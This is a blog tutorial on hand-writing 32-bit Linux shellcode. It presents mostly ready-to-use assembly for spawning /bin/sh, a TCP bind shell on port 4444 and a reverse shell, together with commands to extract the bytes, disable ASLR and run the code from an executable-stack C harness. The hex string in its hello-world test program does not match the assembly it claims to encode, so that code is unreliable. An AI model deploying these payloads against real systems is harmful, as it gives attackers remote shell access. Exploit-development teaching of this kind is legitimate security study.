Thilan Dissanayaka Exploit development May 17

Writing a Shell Code for Linux

Linux Shellcode Development Tutorial - 32-bit Systems

Introduction

Shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. Understanding shellcode development is crucial for penetration testers and security researchers to understand attack vectors and develop better defenses.

Important Note: This tutorial is for educational purposes only. Always ensure you have proper authorization before testing on any systems.

Prerequisites

  • Basic understanding of assembly language
  • Knowledge of Linux system calls
  • Familiarity with debugging tools (gdb, objdump)
  • A 32-bit Linux environment or VM

Environment Setup

# Install necessary tools
sudo apt-get update
sudo apt-get install nasm gcc gdb strace

# Disable ASLR for consistent testing
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Understanding System Calls

Before writing shellcode, we need to understand how Linux system calls work. In 32-bit Linux:

  • System call number goes in EAX
  • Arguments go in EBX, ECX, EDX, ESI, EDI, EBP
  • Use int 0x80 to invoke the system call

Common system calls:

  • exit: syscall 1
  • write: syscall 4
  • execve: syscall 11

Chapter 1: Basic "Hello World" Shellcode

Let's start with a simple shellcode that prints "Hello World" and exits.

Assembly Code (hello.asm)

section .text
global _start

_start:
    ; write system call
    mov eax, 4          ; sys_write
    mov ebx, 1          ; stdout
    mov ecx, msg        ; message
    mov edx, msg_len    ; message length
    int 0x80            ; call kernel

    ; exit system call
    mov eax, 1          ; sys_exit
    mov ebx, 0          ; exit status
    int 0x80            ; call kernel

section .data
    msg db 'Hello World!', 0xa
    msg_len equ $ - msg

Converting to Position-Independent Code

Real shellcode needs to be position-independent. Here's the improved version:

section .text
global _start

_start:
    jmp short call_shellcode

shellcode:
    ; write system call
    pop ecx             ; get message address
    mov eax, 4          ; sys_write
    mov ebx, 1          ; stdout
    mov edx, 13         ; message length
    int 0x80            ; call kernel

    ; exit system call
    mov eax, 1          ; sys_exit
    mov ebx, 0          ; exit status
    int 0x80            ; call kernel

call_shellcode:
    call shellcode
    db 'Hello World!', 0xa

Compiling and Testing

# Assemble and link
nasm -f elf32 hello.asm -o hello.o
ld -m elf_i386 hello.o -o hello

# Test
./hello

# Extract shellcode
objdump -d hello | grep -E "^ " | cut -f2 | tr -d ' ' | tr -d '\n'

C Test Program

Create a test program to verify your shellcode:

#include <stdio.h>
#include <string.h>

char shellcode[] = 
"\xeb\x19\x5e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x0d\x00"
"\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
"\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64"
"\x21\x0a";

int main() {
    printf("Shellcode length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

Compile and test:

gcc -fno-stack-protector -z execstack -m32 test.c -o test
./test

Chapter 2: Shell Spawning Shellcode

Now let's create shellcode that spawns a shell using execve("/bin/sh", ["/bin/sh"], NULL).

Assembly Code (shell.asm)

section .text
global _start

_start:
    ; Clear registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; Push "/bin/sh" onto stack
    push eax        ; null terminator
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    ; Set up argv array
    push eax        ; argv[1] = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv

    ; execve system call
    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Optimized Version (Removing Null Bytes)

section .text
global _start

_start:
    ; Clear registers
    xor eax, eax
    push eax        ; null terminator

    ; Push "/bin/sh" onto stack
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    ; Set up argv and envp
    push eax        ; envp = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL (envp)

    ; execve system call
    mov al, 11      ; sys_execve (avoid null bytes)
    int 0x80        ; call kernel

Testing the Shell Shellcode

# Assemble and link
nasm -f elf32 shell.asm -o shell.o
ld -m elf_i386 shell.o -o shell

# Test
./shell

# Extract shellcode
objdump -d shell | grep -E "^ " | cut -f2 | tr -d ' ' | tr -d '\n'

Chapter 3: TCP Bind Shell

A bind shell listens on a port and provides shell access to connecting clients.

Assembly Code (bind_shell.asm)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    mov al, 102     ; sys_socketcall
    mov bl, 1       ; SYS_SOCKET
    push edx        ; protocol = 0
    push 1          ; SOCK_STREAM
    push 2          ; AF_INET
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    mov esi, eax    ; save socket fd

    ; bind(sockfd, {AF_INET, port, INADDR_ANY}, 16)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 2       ; SYS_BIND

    push edx        ; INADDR_ANY (0.0.0.0)
    push word 0x5c11 ; port 4444 (0x115c in network byte order)
    push word 2     ; AF_INET
    mov ecx, esp    ; sockaddr_in struct

    push 16         ; addrlen
    push ecx        ; addr
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    ; listen(sockfd, 0)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 4       ; SYS_LISTEN
    push edx        ; backlog = 0
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    ; accept(sockfd, NULL, NULL)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 5       ; SYS_ACCEPT
    push edx        ; addrlen = NULL
    push edx        ; addr = NULL
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    mov ebx, eax    ; save client fd

    ; dup2(clientfd, 0/1/2) - redirect stdin/stdout/stderr
    xor ecx, ecx
dup_loop:
    mov al, 63      ; sys_dup2
    int 0x80        ; call kernel
    inc ecx
    cmp cl, 3
    jne dup_loop

    ; execve("/bin/sh", ["/bin/sh"], NULL)
    xor eax, eax
    push eax        ; null terminator
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    push eax        ; envp = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL

    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Testing the Bind Shell

# Compile
nasm -f elf32 bind_shell.asm -o bind_shell.o
ld -m elf_i386 bind_shell.o -o bind_shell

# Run in one terminal
./bind_shell

# Connect from another terminal
nc localhost 4444

Chapter 4: TCP Reverse Shell

A reverse shell connects back to an attacker's machine.

Assembly Code (reverse_shell.asm)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    mov al, 102     ; sys_socketcall
    mov bl, 1       ; SYS_SOCKET
    push edx        ; protocol = 0
    push 1          ; SOCK_STREAM
    push 2          ; AF_INET
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    mov esi, eax    ; save socket fd

    ; connect(sockfd, {AF_INET, port, IP}, 16)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 3       ; SYS_CONNECT

    push 0x0100007f ; IP address (127.0.0.1 in network byte order)
    push word 0x5c11 ; port 4444
    push word 2     ; AF_INET
    mov ecx, esp    ; sockaddr_in struct

    push 16         ; addrlen
    push ecx        ; addr
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    ; dup2(sockfd, 0/1/2) - redirect stdin/stdout/stderr
    mov ebx, esi    ; socket fd
    xor ecx, ecx
dup_loop:
    mov al, 63      ; sys_dup2
    int 0x80        ; call kernel
    inc ecx
    cmp cl, 3
    jne dup_loop

    ; execve("/bin/sh", ["/bin/sh"], NULL)
    xor eax, eax
    push eax        ; null terminator
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    push eax        ; envp = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL

    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Shellcode Optimization Techniques

1. Removing Null Bytes

Null bytes terminate strings in C, so they must be avoided:

; Bad - contains null bytes
mov eax, 1

; Good - avoids null bytes
xor eax, eax
inc eax

2. Size Optimization

Use shorter instructions:

; Longer
mov eax, 0
mov ebx, 0

; Shorter
xor eax, eax
xor ebx, ebx

3. Self-Modifying Code

For complex shellcode, you might need to decode encrypted payloads at runtime.

Testing and Debugging

Using GDB

gdb ./shellcode_test
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) run
(gdb) disas shellcode
(gdb) x/20i shellcode

Using Strace

strace ./shellcode_test

Checking for Null Bytes

objdump -d shellcode | grep -P '\t00 '
ALSO READ
ACID Properties in Databases: The Key to Reliable Transactions
Apr 25 Database Systems

When working with databases, one thing is absolutely critical: keeping your data safe, consistent, and reliable. That's where ACID properties come in — a set of principles that ensure every....

Debugging Binaries with GDB
Mar 23 Low level Development

GDB is shipped with the GNU toolset. It is a debugging tool used in Linux environments. The term GDB stands for GNU Debugger. In our previous protostar stack0 walkthrough tutorial, we used GDB....

Build A Simple Web shell
Mar 23 Application Security

A web shell is a type of code that hackers use to gain control over a web server. It is particularly useful for post-exploitation attacks, and there are various types of web shells available. Some of....

SQL injection login bypass
Apr 26 Application Security

SQL Injection (SQLi) is one of the oldest and most fundamental web application vulnerabilities. While it’s becoming rarer in modern web apps due to better coding practices and frameworks,....

Application Security - Interview preparation guide
May 27 Interview Guides

# 1. What is application security? Application security refers to the measures and practices implemented to protect applications from security threats throughout their development lifecycle and....

AWS - Interview preparation guide
May 08 Interview Guides

## What is Amazon EC2 and what are its features? Amazon EC2 (Elastic Compute Cloud) is a web service that provides resizable compute capacity in the cloud. It allows you to launch and manage....